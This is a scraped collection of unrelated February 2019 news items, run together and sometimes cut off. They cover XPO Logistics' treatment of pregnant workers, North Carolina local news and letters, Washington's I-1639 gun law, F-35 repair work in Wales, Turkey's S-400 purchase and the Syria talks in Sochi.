Last November, U.S. Sen. Richard Blumenthal, D-Conn., joined eight other senators to launch an investigation of XPO.

In a statement Wednesday, Blumenthal expressed doubts about the impact of the new program, although he said he wanted to keep working with XPO to ensure workers and their families receive the support they need during and after pregnancies.

Although I appreciate XPOs stated intent to improve benefits and workplace policies for women and families, this new program still leaves many questions unanswered, Blumenthal said. How many workers will actually benefit? Will access to this app make a meaningful difference if underlying workplace policies remain?

Two weeks later, nearly 100 Democratic U.S. representatives  including Connecticuts Joe Courtney, Rosa DeLauro, Elizabeth Esty and John Larson  signed a letter seeking a similar inquiry.

Hundreds and thousands of workers could be at risk at XPO Logistics facilities if the aforementioned allegations are accurate, the Congressional members wrote in the letter, which asked for a hearing on the company. While the current issues may be local and isolated, further investigation and oversight should be executed to ensure that hundreds and thousands of workers nationwide are not at further risk.

Democratic U.S. Rep. Jim Himes, whose district covers most of Fairfield County, did not sign the letter, but a spokesman later said that he supported its goals.

On the same day as the Congressional letter, XPO said it would investigate the reported mistreatment of pregnant workers at a Memphis, Tenn., warehouse. Two women said they had miscarriages last year while working at the Memphis plant, which was investigated by The New York Times.

At the same time, XPO announced a new policy for the care and support of pregnant workers that includes paid family leave, pregnancy and postpartum benefits, and flexible working arrangements. Eligible workers would receive their regular base wages while they used their accommodations and would still qualify for pay increases during that time.

XPO is headquartered at 5 American Lane, in the northwest corner of Greenwich. It operates in 32 countries, handling 7 billion inventory units each day, according to its website. It employs about 98,000.

It was ranked No. 186 on last years Fortune 500 list.

pschott@scni.com; 203-964-2236; Twitter: @paulschottSupport local journalism

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We join many people in North Carolina and the nation in mourning the death of U.S. Rep. Walter B. Jones Jr., whose career and character exemplified many of the finest qualities that we would like to see in all of our elected leaders.

When I leave Congress, I would rather have one thing said about me: I will never question Walter Jones integrity,  Jones told The Associated Press in a 2018 interview.

Thats a worthy goal he likely met.

Born in Farmville in 1943, Jones died in Greenville on Sunday, his 76th birthday.

He was a graduate of Hargrave Military Academy in Chatham, Va., and Atlantic Christian College (now Barton College) in Wilson. He served in the N.C. National Guard and worked in his family business before first running for Congress in 1992.

Jones father, Walter Jones Sr., a Democrat, represented eastern North Carolina in the U.S. House from 1966 until his death in 1992. After serving in the N.C. House from 1982 through 1992, Jones Jr. lost the party primary to succeed his father. But after switching his party affiliation to Republican in 1994, he was sent to Washington in 1995.

He was elected to his 13th term in November, running unopposed.William Warners letter appearing in todays News & Record (Feb. 10, Democrats may lead, but Trump will win) included the following assertion: Democrats ... want ... human trafficking.

Ironically, the one national politician arguably pro human trafficking is President Trump. For he selected and has retained Alexander Acosta as his secretary of labor.

Two months ago, The Miami Herald carried an investigative story about how Acosta had failed hundreds of teenage girls and young women, victims of the rich and politically connected financier, Jeffrey Epstein.

It described the multimillionaire running a child molestation pyramid scheme in which the victims were themselves pressured into recruiting more girls.

Epstein faced a federal indictment for sex trafficking that could have put him away for life.

He was saved by Acosta, then Miamis top federal prosecutor, who provided one of the most lenient deals for a serial child sex offender in history, according to Miami Herald journalist Julie Brown.

Moreover, the labor secretary leads the sole federal agency that monitors child labor and enforces child labor laws and is designed to protect youth.Congratulations to Bennett College and its president, Dr. Phyllis Dawkins, for exceeding their fundraising goal to help ensure its accreditation.

Bennett Colleges success is important to not only Greensboro, but to our entire Piedmont Triad community.

We are so proud of this college and the way our region, state and numerous others nationwide supported this important initiative.

While we celebrate Bennetts achievement, I would encourage us to pause for a moment and consider what we observed about community support and what we can achieve together.

On Feb. 1, Bennett College was working toward its $5 million goal and, according to newspaper reports, was still approximately $1.5 million short of that amount. High Point Universitys unprecedented $1 million challenge gift set off an explosion of giving through the final weekend of fundraising.

HPU President Nido Qubeins leadership on this important effort is commendable.

Many in our region and state may have found this college-to-college camaraderie very unusual. The Chronicle of Higher Education reported soon after Dr. Qubein made the $1 million announcement that High Points donation is a show of support not often seen in higher education.My mother took me to a lot of powwows, said DeLoatch, who has traced his family history to the Native American nations of Cherokee, Creek, Nansemond, Saponi, and Tuscarora.

Then I looked at my dads side, which is more African American. And, I started to see another culture I related to my last name, which is French. I looked at the Native American surnames that my family was given. I ran into the Irish side of my family. I started looking at the free people of color who were not slaves  all of a sudden I was thinking, Who am I or what am I?

The Hertford County native also has traced his ancestry to France; the Balanta people in the Republic of Guinea-Bissau; the Akan Tribe in Ghana; and Nigeria.

His DNA revealed he is 87 percent Saharan African, 12 percent European and 1 percent Native American.

DeLoatchs research revealed family members that were Buffalo soldiers, some that started schools in Hampton County and even a Confederate soldier.

I went home and went to my family and told them my great-great-grandfather was a Confederate sergeant  and almost got thrown out of the house, said DeLoatch, who served in the Army in the Vietnam War.GREENSBORO  A lawyer accused of mishandling his clients cases in federal court will have to appear before a judge and prove that hes competent to act as an attorney.

Jason Keith, who practices state and federal criminal law in Greensboro, has been ordered to appear in federal court March 14 over numerous problems related to his handling of four cases during the past year in the U.S. District Court for the Middle District of North Carolina.

Those alleged problems include Keith failing to meet deadlines, not researching his cases thoroughly and suggesting to a judge he had just started practicing law in federal court despite having represented 11 clients in the Middle District since 2007.

The recurring problems in four cases over the course of 2018, especially after you admitted ineffective assistance in one case and were admonished by different judges for your failures in other cases, tend to indicate that you have repeatedly violated your professional and ethical duties, wrote Judge Catherine Eagles in a recent court filing.

Keith, who has been a licensed attorney in North Carolina since August 2005, did not respond to messages left at his office requesting comment.GREENSBORO  Cone Healths network of four hospitals was ranked this week among the nations top 250 medical centers by a prominent online rating service.

Moses Cone, Wesley Long and Womens hospitals in Greensboro joined Annie Penn Hospital of Reidsville in receiving Healthgrades annual award for clinical excellence.

The recognition places the local health care system in the top 5 percent of more than 4,500 hospitals that were assessed by the online provider of detailed information about physician and hospital performance.

It was the fourth year in a row that Cone Health has received the Healthgrades award.

Wake Forest Baptist Medical Center in Winston-Salem also finished among the top 250.

Chief Cone Health physician-executive Bruce Swords said the Greensboro-based systems consistent performance in the top 5 percent is part of our culture.

What makes this so important is that high-quality health care can be the difference between life and death, Swords said Tuesday in a news release.Both McGrady and Reives emphasized that putting legislators in control of their own destiny by giving them total control over redistricting erodes the publics confidence in government.

Of course, legislators have always had such absolute power. But the process has come under closer public scrutiny with the advent of increasingly powerful computers that give legislators greater precision in creating districts that slant toward the party in power.

Hardister and his co-sponsors said their proposal probably will be the first of several redistricting bills filed this session. They are committed to making the redistricting process less partisan but are not wedded to the format outlined in their bill, they said.

In fact, Hardister said later that he might introduce another version of Wednesdays bill where the major difference would be adding the independent commission to the North Carolina Constitution as a required part of the redistricting process.

If its in the constitution, it would be harder to change, he said.

Hardister said that while its important to make redistricting less partisan, legislators should retain the final say in approving new election maps each cycle.In 1633, Italian astronomer Galileo Galilei arrived in Rome for trial before the Inquisition, accused of defending Copernican theory that the Earth revolved around the sun instead of the other way around. (Galileo was found vehemently suspect of heresy, and ended up being sentenced to a form of house arrest.)

In 1935, a jury in Flemington, N.J., found Bruno Richard Hauptmann guilty of first-degree murder in the kidnawp-slaying of Charles A. Lindbergh Jr., the 20-month-old son of Charles and Anne Lindbergh. (Hauptmann was later executed.)

In 1943, during World War II, the U.S. Marine Corps Womens Reserve was officially established.

In 1945, during World War II, Allied planes began bombing the German city of Dresden.

In 1996, the rock musical Rent, by Jonathan Larson, opened off-Broadway.

In 2009, a $787 billion stimulus bill aimed at easing the worst economic crisis in decades cleared both houses of Congress.

In 2016, Justice Antonin Scalia, the influential conservative and most provocative member of the U.S. Supreme Court, was found dead at a private residence in the Big Bend area of Texas; he was 79.

For other highlights from this date, see On This Day in the gallery area of greensboro.com. You can search the News & Record Historical Archive at greensboro.com/archive.Guilford County Schools received 16 Blue Ribbon awards  of which 12 are Gold Awards. The district also earned a Best of the Best award in the photography category for the 2018 senior spotlights.

***

Allen Tate Real Estate recently announced that Jane Barker Erwin was awarded the 2018 Masters Circle Award for production and an award for 2018 for qualifying for all four quarters VIP.

Erwin is a Burlington native and a licensed Alamance County real estate broker with Allen Tate Real Estate Company and has been practicing real estate in Alamance, Guilford and Orange counties since 1987.

***

Truliant Federal Credit Union was recently honored by the Carolinas Credit Union Foundation with two 2018 state level awards.

Truliant received first place state-level recognition for the Desjardins Youth Financial Education Award for North Carolina and South Carolina. The award was given in recognition of Truliants Financial Education Fund launched in 2016, which disperses grants annually. Additionally, Truliant won the Dora Maxwell Social Responsibility Award for its Guilford County tornado relief response in April 2018. The awards were presented at a CCUF gala in Charlotte on Jan. 31.Shirley Wright had her last letter to the News & Record published on Jan. 22.

She died on Feb. 2.

Like me she was a Dudley graduate and, by her own account she led a full and gratifying life.

She was married to her soul mate, Noscoe Wright, for more than 50 years  50 years, 7 months, 2 weeks, and 4 days, she wrote in a note to her three sons.

You, my sons, made my life worth living, she wrote in the note, which was featured in the obituary. Please dont mourn my death; celebrate my life because your dad and I are finally back together again.

But while she was with us, she had her say.

Which is to say, she wrote a lot of letters.

By my count Mrs. Wright had more than 30 published in the News & Record since 2015.

And every one of them was memorable in its own way.

Some were touching.

On the April 2018 tornados in east Greensboro, she wrote:By Feb. 25, Bennett will get one of two answers from the appeals panel.

One answer is no, which sets in motion one of the scenarios I laid out here a month ago. The most probable involves a lawsuit followed by seeking accreditation with another agency, probably this one.

The other answer is a remand, which is the answer Bennett is hoping for. The appeals committee can remand Bennetts case for further review if (and Im quoting from the official SACSCOC appeals procedures) if (it) finds that an institution, removed from accreditation based solely on finances, has produced evidence that it has available new and verifiable financial information and that the financial information is material to the Boards adverse decision.

If Bennetts case is remanded, it can go to one of three SACSCOC committees for further review. The commissions Board of Trustees will make a final decision at its next board meeting, which won't be until the week of June 10 in Charlotte.Jefferson, GA (30549)

Today

Cloudy skies early, then partly cloudy this afternoon. High 81F. Winds E at 5 to 10 mph..

Tonight

Mostly clear. Low near 60F. Winds light and variable.Says I-1639 revolt could cost them and taxpayers

Washington Attorney General Bob Ferguson warned sheriffs and other law enforcement officers Tuesday that they are required to enforce a gun control law passed by voters last November.

Sheriffs in four local counties cite Second Amendment concerns about enforcing Initiative 1639, as do law enforcement officials in more than half the states 39 counties.

I-1639, which took effect on Jan. 1, raises the age limit for buying semi-automatic rifles from 18 to 21. Beginning July 1, it requires purchasers to pass an enhanced background check, show proof of firearms training, and wait 10 days before getting the gun.

The new law also makes gun owners guilty of community endangerment if their gun is not properly stored and is accessible by a child or by anyone who then uses the gun in a crime.

The law passed in November with the support of 60 percent of Washington voters, but the sheriffs of Grant and Lincoln counties both released statements about refusing to enforce the law, while the statements from Douglas and Okanogan county sheriffs were more ambiguous.

One of the main arguments against the law is that it violates the Second Amendment to the US Constitution.

Like all laws passed by the people of Washington and their representatives, Initiative 1639 is presumed constitutional, Ferguson wrote in his Feb. 12 letter. No court has ruled that this initiative is unconstitutional.

I am confident we will defeat any constitutional challenge to Initiative 1639, Ferguson continued. Local law enforcement officials are entitled to their opinions about the constitutionality of any law, but those personal views do not absolve us of our duty to enforce Washington laws and protect the public.

Ferguson noted his own objections to the death penalty and that he continued to defend the states use of it until the state Supreme Court ruled against it last year.

I did this out of respect for the rule of law, he said.

Ferguson focused on one aspect of the law that failure to enforce could put taxpayers at financial risk.

Local law enforcement has been performing enhanced background checks for all handgun purchases in Washington state for many years, Ferguson wrote. These enhanced background checks keep guns out of the hands of dangerous individuals who lawfully cannot own firearms because of a mental illness or criminal record. As far as I know, no Washington sheriff or police chief has refused to perform these enhanced background checks for handguns. Why refuse to perform them for semiautomatic assault rifles?

Ferguson asserted that in the event a police chief or sheriff refuses to perform the background check required by Initiative 1639, they could be held liable if there is a sale or transfer of a firearm to a dangerous individual prohibited from possessing a firearm and that individual uses that firearm to do harm. In short, the taxpayers of your city or county assume the financial risk of your decision to impose your personal views over the law.

No action by a city council or county commission can change this state law or the responsibilities and duties that the law vests in Washingtons law enforcement agencies, the letter says. If you personally disagree with Initiative 1639, seek to change it. Or file a lawsuit challenging it. But do not substitute your personal views over that of the people. As public officers, our duty is to abide by the will of the people we serve, and implement and enforce the laws they adopt. I encourage you to do so.

One week after the general election, the National Rifle Association and the Second Amendment Foundation filed a joint lawsuit against Washington state and Ferguson. The two organizations claim that the initiative violates the U.S. and Washington state constitutions.Note: We've recently updated our online systems. If you can't login please try resetting your password. You must login with an email address. If you don't have an email associated with your account email circulation@skagitpublishing.com for help creating one.Goshen, IN (46526)

Today

Mostly sunny skies this morning will become overcast during the afternoon. High 84F. Winds SSW at 10 to 20 mph..

Tonight

Cloudy this evening with showers after midnight. Thunder possible. Low 69F. Winds S at 10 to 20 mph. Chance of rain 50%.Xem them

...

Tin bai cuoi cung

Khong con du lieu e loadPierre Antoine Dixon was sentenced to life and an additional 26 years in prison for the murder of Antwan Lamontah George Rucker in the course of a 2013 robbery.

A jury of 10 women and two men found Dixon guilty of first-degree murder, robbery and two charges of use of a firearm in commission of a felony Nov. 28, 2018, after three days of trial. It took approximately 40 minutes of deliberation for the jury to recommend he be sentenced to life and 26 years imprisonment.

Danville Circuit Judge Joseph Milam upheld the jurys recommendation on Monday.

Dixon, 32, of Danville, killed Rucker, 35, of Lynchburg, on Nov 9, 2013, after luring him to the Innkeeper hotel in Danville. Rucker was shot four times and found slumped in the backseat of his prized Mercedes. The shots hit his lungs, aorta and a major artery near his hip-bone, medical examiner Dr. Amy Tharp testified at Dixons trial. He bled to death; about a third of his blood was found in his chest cavity, she said.

Dixon was arrested in connection to the shooting on Nov. 22, 2016, but did not stand trial until two years later. Prosecutors initially signaled their intent to seek the death penalty but reconsidered it before trial.VOLKSWAGEN Group Australia director of commercial vehicles Ryan Davies says that the brands alliance with Ford to co-develop their next-generation light-commercial vehicles will give Australia more input on future product.

The alliance will see the pair collaborate on the next Amarok and Ranger utes, as well as mid-size and small vans for each marque.

Speaking to GoAuto at the Caddy Beach camper van launch in Sydney this week, Mr Davies said that the alliance is good news for the German brands local wing.

For Volkswagen Australia and certainly commercial vehicles, we are very excited by it, he said.



Having Australia involved as such a key player in the development is a big win for us, its a great collaboration.

Asked what resources Ford and Volkswagen would share, Mr Davies said that details are still up in the air, however, he reiterated that Ford would take the lead on the pick-up and mid-size vans.

In terms of what can be shared and what can be leveraged is to be ironed out, he said.

But the reality of it is, Ford is the lead on the mid-size pick-up project, and they will be too on the mid-size van, but well take the lead role on the city van, which is the Caddy equivalent.

Mr Davies could not say how much input Australia would have on the new models but suggested that the alliance should give them more swing.



Australia now has a say, he said. Fundamentally its a global alliance, but that doesnt mean we are a silent partner in the development of the new Amarok and Ranger.

According to Mr Davies, both companies will ensure that despite sharing a platform, their final products will differ from each other.



Its up to each company to protect the DNA of each respective brand and maintain the driving dynamics and design of their own products.

With Ford taking the majority of responsibility for the next-generation pick-ups, the Volkswagen Amarok will be partly developed at Ford Asia Pacifics Victoria-based product development centre.

The Amarok may then be put into production at the Ford Thailand Manufacturing plant in Rayong alongside the Ranger, instead of Argentina and Germany where the current Amarok is sourced.

If this is the case, Volkswagen should be able to lower the price of the Amarok as it would be subject to the free-trade agreement which eliminates the five per cent import duty that the company must currently pay.

The Ranger was the second-best-selling mid-size pick-up in Australia last year with 42,144 units registered, topped only by the Toyota HiLux which achieved 50,376 sales, while, the Amarok managed just 9290 total sales in 2018.

For reference, the Amarok starts at $38,490 plus on-road costs, while the Ford Ranger and Toyota HiLux ask $27,990 and $20,990 for their entry-level variants respectively.

The Road to Recovery podcast seriesA stack of nine bibles rests on a podium for use before Mike DeWine is sworn in as the 70th Governor of Ohio, Sunday, Jan. 13, 2019, in Cedarville, Ohio. The former U.S. senator took his oath in a private midnight ceremony at his Cedarville home ahead of a public inauguration planned Monday at the Statehouse. (AP Photo/John Minchillo, Pool)TIM JEAN/Staff photo/Gathered for a check donation ceremony for an observatory project to be built behind Rockport Middle School are, from left, students in the Rockport High School Science Club; Cape Ann Savings Bank president Robert Gillis, senior vice president Marianne Smith, marketing manager Jen Orlando; Educational Foundation of Rockport president Jamy Buchanan Madeja, Superintendent Rob Liebow, and several Rockport High teachers.You asked. We listened. Your daily crossword, Sudoku and dozens of other puzzles are now available online. Play them or print them here.

Play nowMoscow Court Upholds Prolongation Of Ukrainian Sailors' Pretrial Detentions

By RFE/RL February 12, 2019

A Moscow court on February 12 upheld the extension of the pretrial detention of four of 24 Ukrainian sailors detained by Russian forces along with their three naval vessels in November near the Kerch Strait, which links the Black Sea and the Sea of Azov.

Last month, the Lefortovo court in Moscow extended the pretrial detention of the sailors, who are charged with illegal border crossing, until April 24 and April 26.

On February 7, the court rejected the appeals lodged by four of the sailors against the extension of their pretrial detentions.

The appeals of the other 16 Ukrainian sailors from the group will be assessed in the coming days.

Russia has held the Ukrainian sailors since its forces fired on, boarded, and seized their vessels near the Kerch Strait on November 25.

Moscow claims the Ukrainian vessels illegally entered Russian territorial waters near Crimea, the Ukrainian peninsula that Russia occupied and took over in 2014.

The sailors face up to six years in prison if convicted.

The United States and other Western countries have called for the Ukrainian sailors' release, calling their detainment illegal.

Russia moved swiftly to seize control over Crimea after Moscow-friendly Ukrainian President Viktor Yanukovych was pushed from power in Kyiv by the pro-European Maidan protest movement in February 2014.

Putin's government sent troops without insignia to the peninsula, seized key buildings, took control of the regional legislature, and staged a referendum denounced as illegitimate by at least 100 countries.

Russia also fomented unrest and backed separatists in eastern Ukraine, where more than 10,300 people have been killed in the ensuing conflict since April 2014.

The International Criminal Court (ICC) ruled in November 2016 that the fighting in eastern Ukraine is "an international armed conflict between Ukraine and the Russian Federation."

With reporting by TASS and Interfax

Source: https://www.rferl.org/a/moscow-court-upholds-prolongation-of- ukrainian-sailors-pretrial-detentions/29766208.html

Copyright (c) 2019. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036.Daiquiri Dick's Makes Valentine's Day in PV Memorable

Puerto Vallarta, Mexico - It is time to wish Happy Valentine's Day to everyone we love. In the beginning, this day was associated with romantic couples only but in recent times the festival encompasses many more. Now, people take the opportunity to wish Happy Valentine's Day to anyone they love. It could be father, mother, siblings, friends, co-workers or just anyone special to them. The idea behind this tradition is to celebrate love, get love and give love to everyone around us.

Whether you're dreaming of a romantic evening with your significant other, or living it up with a Girls' Night Out, gather up your loved ones and head over to Los Muertos Beach on the south side of Puerto Vallarta for a superb Valentine's dinner at Daiquiri Dick's.

Executive Chef Ignacio Uribe, Chef de Cuisine Hugo Mejia and Sous Chef Rogelio Garcia have developed a sweetheart of an extra special a la carte menu that they'll be serving on February 14 & 15, 2019, and dinner is served from 5 to 11 pm. The regular a la carte menu will also be available.

Daiquiri Dick's Special Valentine's Menu

Starters

 Deep Fried Oysters Served with Horseradish Tomato Sauce

 Corn Chowder, with Roasted Poblano Chili and Shrimp

 Watercress-Arugula Salad with Orange & Mandarin Wedges and Fresh Mango Vinaigrette

Main Courses

 Duo of Grilled Medallion with Demi-Glace Sauce and Bacon Wrapped Shrimp with Passion Fruit-Tequila Beurre Blanc over Carrot Puree

 Oven Roasted Pork Osso Bucco with White Wine Sauce, served with Soft Polenta

 Spaghetti with Grilled Octopus in a Garlic - Lemon Sauce

Desserts

 Tiramisu Heart

 Warm Flourless Chocolate Cake a la Mode

This romantic beachfront restaurant also features flaming coffees and dessert martinis that'll make your Valentine's Day dinner at Daiquiri Dick's an Exceptional Experience.

Open daily from 8 am to 11 pm, Daiquiri Dick's offers elegant dining in a relaxed atmosphere for breakfast, lunch or dinner. Visa, MasterCard and Banamex accepted. Reservations are recommended and can be made online at ddpv.com.UK wins global F-35 support assignment worth 500M

The UK's role as a leading partner on the global F-35 programme has received another huge boost today.

12 February 2019

The F-35 avionic and aircraft component repair hub in North Wales was awarded a second major assignment of work worth some 500M by the US Department of Defense.

Following the announcement in 2016 that the UK would be the location of the global repair hub for the initial tranche of F-35 components, today's news sees significantly more UK support work to the cutting-edge jets. This new assignment will support hundreds of additional F-35 jobs in the UK - many of them at the MOD's Defence & Electronics Components Agency (DECA) at MOD Sealand, where the majority of the work will be carried out.

It will see crucial maintenance, repair, overhaul and upgrade services for an even wider range of F-35 avionic, electronic and electrical systems for hundreds of F-35 aircraft based globally.

The winning solution builds on the innovative joint venture formed between the MOD (DECA), BAE Systems and Northrop Grumman called Sealand Support Services Ltd (SSSL). SSSL support work and services for F-35 are scheduled to commence from 2020.

Defence Secretary Gavin Williamson said:

"This announcement keeps Britain right at the centre of the global F-35 partnership, the largest defence programme in history. It is a vote of confidence in our highly-skilled workforce and high-tech industry that provides us and our allies with the very best of what British engineering has to offer."

"Our vision of Global Britain brings with it new and exciting opportunities to provide top quality goods made in Britain to the rest of the world."

"This deal builds on the strong foundations of the UK's enduring defence partnership with the US. It is a significant boost for British jobs and those highly-skilled workers who enable these world-class fighter jets to continue keeping us safe and secure."

This assignment recognizes the world-class skills and critical support being provided at DECA - a MOD-owned Executive Agency. It places North Wales at the very heart of F-35 support delivery for the next 40 years and directly supports hundreds more high-tech F-35 jobs in the UK.

Secretary of State for Wales Alun Cairns said:

"With this announcement, MoD Sealand is once again proving its credentials as a vital component repair hub for the F-35 aircraft."

"The UK's defence outlook is bolstered by the skills of thousands of people employed across the industry in Wales, including those supporting essential equipment to the Armed Forces."

"I'm delighted that the skills of our labour force have been recognised with this reinforced investment in the north-east Wales economy, which will continue to provide a prosperous source of employment and growth to this region through the wider supply chain over the coming years."

Sir Simon Bollom, CEO of the MOD's procurement agency, Defence Equipment and Support, added:

"In winning this work, the UK has demonstrated how the MOD can collaborate effectively with industry bringing together a highly skilled and experienced workforce to offer an innovative and best value support solution for the benefit of F-35 partners."

"The UK also benefits from a long-term commitment to the F-35 programme and its unique defence relationship with the US. Together with our partners from DECA, BAE Systems and Northrop Grumman, SSSL will be able to offer the F-35 programme engineering excellence, world-class innovation and agility."

DECA has a long and illustrious history in providing avionic services to fast-jet aircraft. This further F-35 assignment reaffirms DECA's role in providing services and support to the world's most advanced fighter aircraft for decades to come.

DECA's Chief Executive, Geraint Spearing said:

"It is particularly pleasing that we will provide such a critical and substantial element of the Global F-35 component sustainment solution. This is testament to the hard work and dedication of our workforce and will secure these world class skills in support of defence and security for many years to come."

The news follows a November 2018 announcement that the UK has ordered 17 more F-35B aircraft, which will be delivered between 2020 and 2022, to join the 17 British aircraft currently based at RAF Marham and in the US, as well as another already on order.

Also, in November 2018, the MOD awarded a 160M contract to Kier VolkerFitzpatrick to deliver infrastructure to ready RAF Lakenheath for 2 squadrons of US Air Force F-35s. The Suffolk airbase will be the first permanent international site for US Air Force F-35s in Europe and continues the base's long and proud history of supporting US Air Force capability in the UK.UK to deploy 'drone swarms' to beat Chinese, Russian air defenses: Williamson

Iran Press TV

Tue Feb 12, 2019 11:18AM

British Defense Secretary Gavin Williamson says the country is planning to develop and deploy swarms of special drones to overwhelm enemy air defenses, a move that sources say is directly aimed at confronting Russia and China as London plans to expand its presence in the Pacific region after leaving the European Union (EU).

In a speech at the Royal United Services Institute on Monday, Williamson said his department was committing 7 million to create a swarm squadron of drones capable of jamming enemy air defenses.

He did not provide more details about the plan during the bellicose speech, which presented Brexit as an opportunity to "strengthen our global presence, enhance our lethality and increase our mass."

Williamson said he expected the drones to be deployed by the end of 2019.

The British Ministry of Defense, however, announced that it had yet to tender a design.

Inside sources told The Guardian that the new drone unit would be able to locate radar and missile systems from countries such as Russia and China, and allow British or other aircraft to avoid them or take them out.

Although Williamson did not specifically name Russia and China as the targets of the new project, he mentioned both countries as looming threats that London needed to confront.

Calling Russia "resurgent," the British minister pointed to Moscow's ongoing program to renovate and equip its military.

He also warned that China was developing modern capabilities, suggesting that London should boost its presence in the South China Sea by sending the HMS Queen Elizabeth aircraft carrier to the region. The warship is expected to make the journey to the Pacific in 2021.

"We have to be ready to show the high price of aggressive behavior. Ready to strengthen our resilience," he said.

Williamson, known for closely following US military policies, has been outspoken about his desire to expand the UK military's reach after Brexit.US Again Urges Turkey Not to Buy Russian S-400s, Warns It May Scrap Patriot Deal

Sputnik News

19:08 12.02.2019

The statement comes after Ibrahim Kalin, a spokesman for Turkish President Recep Tayyip Erdogan, said last month that deliveries of Russian S-400 systems to Turkey are not intertwined with the possible purchase of US-manufactured Patriot anti-aircraft batteries.

Washington is alarmed about the S-400 surface-to-air missiles (SAMs) deal between Moscow and Ankara, US Permanent Ambassador to NATO Kay Bailey Hutchison told a news briefing on Tuesday.

"We are very much concerned about any supply of Russian missile defence systems to any of our allies. We urge Turkey not to continue the development of this deal because it will not allow us to deliver the defence systems to Turkey which we could install there," Hutchison pointed out.

She stressed that "in any case the S-400 systems would not be compatible" with air defences of the United States and its allies.

"This is very disturbing and all our allies are concerned about this. We all hope that Turkey will make the right decision," Hutchison concluded.

Her remarks came a few days after Turkey's Hurriyet Daily News cited an unnamed senior US official as saying that Washington would halt the sale of Patriot batteries to Ankara if the country proceeded with the purchase of Russian-made S-400 air defence systems.

The official also expressed alarm that "the Turkish purchase of the S-400 systems will endanger Turkish participation in the F-35 programme and will likely result through our legislation in some sort of sanctions coming through the legislations called CAATSA".

Washington has repeatedly threatened to introduce sanctions against Ankara under the Countering America's Adversaries Through Sanctions Act (CAATSA), a 2017 law drafted in response to Russia's alleged meddling in the 2016 US presidential elections, if Turkey buys Russian S-400s.

The US official's comments followed a statement by Turkish presidential spokesman Ibrahim Kalin, who warned that the Patriot deliveries should not be linked to the S-400 deal.

"Our position remains unchanged: we will do everything that we deem necessary to ensure our national security. [] Turkey may buy Patriot systems in the future. But it will be impossible if abandoning the S-400 is one of the conditions for the purchase," he stressed.

Turkey and Russia finalised a contract on the sale of four S-400s batteries in December 2017, with the first of these systems expected to be delivered later this year.

 SputnikTurkey, Russia at Odds Over Syria Ahead of Key Summit

By Dorian Jones February 12, 2019

Russia is hosting a three-way summit this week on Syria even as growing diplomatic differences between two participants threaten to undermine the event.

Thursday's talks on the Black Sea resort of Sochi involve Russia, Turkey and Iran; however, Moscow and Ankara are at odds over border security and other concerns.

Moscow is demanding "decisive action" from Ankara over Idlib, the last remaining rebel-controlled Syrian enclave, while Ankara is pressing for support for its demand to create a safe zone in Syria to protect the Turkish frontier.

While Russia and Iran back Syrian President Bashar al-Assad, and Turkey supports Syrian rebels, the countries have found common ground in efforts to end the civil war under the auspices of the so-called "Astana Process."

Strained cooperation

Analysts, however, say the conflicting agendas of the countries could put increasing strain on cooperation. Moscow is voicing frustration with Ankara over Idlib. "Turkey must do more to uphold its agreement and clear hard core jihadist fighters from Idlib," said Russian Foreign Ministry spokesperson Maria Zakharova last week.

Turkey and Russia hammered out a deal in September in which Ankara guaranteed that radical jihadist groups would disarm and leave the enclave. The agreement saw Moscow prevail on Damascus to step back from launching an imminent military offensive to seize the enclave.

In December, however, radical Islamic groups seized large parts of Idlib, ousting moderate Syrian opposition groups backed by Turkey.

Russian Defense Minister Sergei Shoigu met with his Turkish counterpart, Hulusi Akar, Monday in Ankara in a bid to resolve differences over Idlib ahead of the Sochi summit. "I hope that today, we will be able to come to an agreement on the key issues," Shoigu said ahead of the discussions.

A joint statement following the defense ministers' Monday talks indicated no breakthrough, with both sides only committing themselves to continue to work together. "Ankara does not have much space to maneuver," said political scientist Cengiz Aktar. "It will be very difficult to escape the duty of cleaning the Idlib pocket, which is packed with radical jihadists of all sorts."

Analysts say Ankara is aware that a collapse of its Idlib deal with Moscow would open the door to Syrian government forces attacking the enclave. "There's the fear that there would be a flow of one million refugees into Turkey if there was an operation; so far this has not happened, thanks to the deal with Moscow," said international relations professor Huseyin Bagci of Ankara's Middle East Technical University.

Refugee issue

Turkey already hosts more than 3 million Syrian refugees, at a cost Ankara claims of over $30 billion. According to Turkish opinion polls, frustration over the refugees is regularly cited by respondents as one of the main problems facing the country.

With Turkish President Recep Tayyip Erdogan's ruling AKP facing possible significant losses in crucial local elections in March, analysts suggest his priority could be to delay any offensive against Idlib.

"They are playing for time, and sooner or later this pocket will be emptied," said Aktar, adding, "For Erdogan, he will be eager to avoid this at least until after next month's local elections."

So far there are no reports of Syrian government forces starting to mobilize against Idlib. Such an operation against so many battle-hardened jihadists estimated to number in the tens of thousands would likely need the support of Russian air power.

Careful approach

Analysts suggest Moscow may not be ready to risk a rupture of its recent deepening relationship with Ankara over Idlib. Putin is aware of the alarm in NATO of his warm relationship with Erdogan.

Turkey is set to buy Russia's S-400 missile system, which is due to be delivered later this year despite warnings from Washington of possible sanctions against its NATO ally Turkey. The U.S. says the missile system could compromise NATO weapons systems.

Turkey-U.S. relations remain deeply strained over Washington's backing of a Syrian YPG Kurdish militia deemed by Ankara as terrorists in its war against the Islamic State. U.S. President Donald Trump's proposal to create a safe zone in Syria to protect Turkey's Syrian frontier initially defused bilateral tensions.

The lack of progress on the zone's creation, however, has resulted in Ankara threatening to create the region unilaterally. Analysts say such a move would need Moscow's backing. Erdogan is expected to press the issue at the Sochi summit.

Ahead of the Sochi summit, Turkish Defense Minister Akar is scheduled to meet acting U.S. Defense Secretary Pat Shanahan, on the sidelines of a NATO meeting in Brussels on Wednesday.

"Turkey must talk to the Americans and Russians, as both support the Kurds, this is the dilemma facing Ankara, said Bagci. "The Americans are against a Turkish intervention in Syria and Putin in not supporting Turkey on this." Bagci was referring to Russian President Vladimir Putin.

Former senior Turkish diplomat Aydin Selcen, who served widely in the region, suggests Ankara may yet be able to find a compromise. "It's give and take for Putin," said Selcen."

"Ankara will need to seriously do its homework for Idlib and take steps against the radical groups, and on the other hand, there will be a yellow light for operations against the YPG militia. Not a full-scale operation but rather more limited operations or some airstrikes, unless Damascus and Moscow pull those YPG elements away from the Turkish frontier."UN Official: Conditions in Syrian Rukban Camp Throwback to 'Stone Age'

By Lisa Schlein February 12, 2019

A senior U.N. official reports the distribution of life-saving aid is nearly complete for 40,000 Syrians stranded in the remote Rukban camp near the Jordanian border. The U.N.'s largest humanitarian convoy in Syria's eight-year conflict arrived at Rukban six days ago.

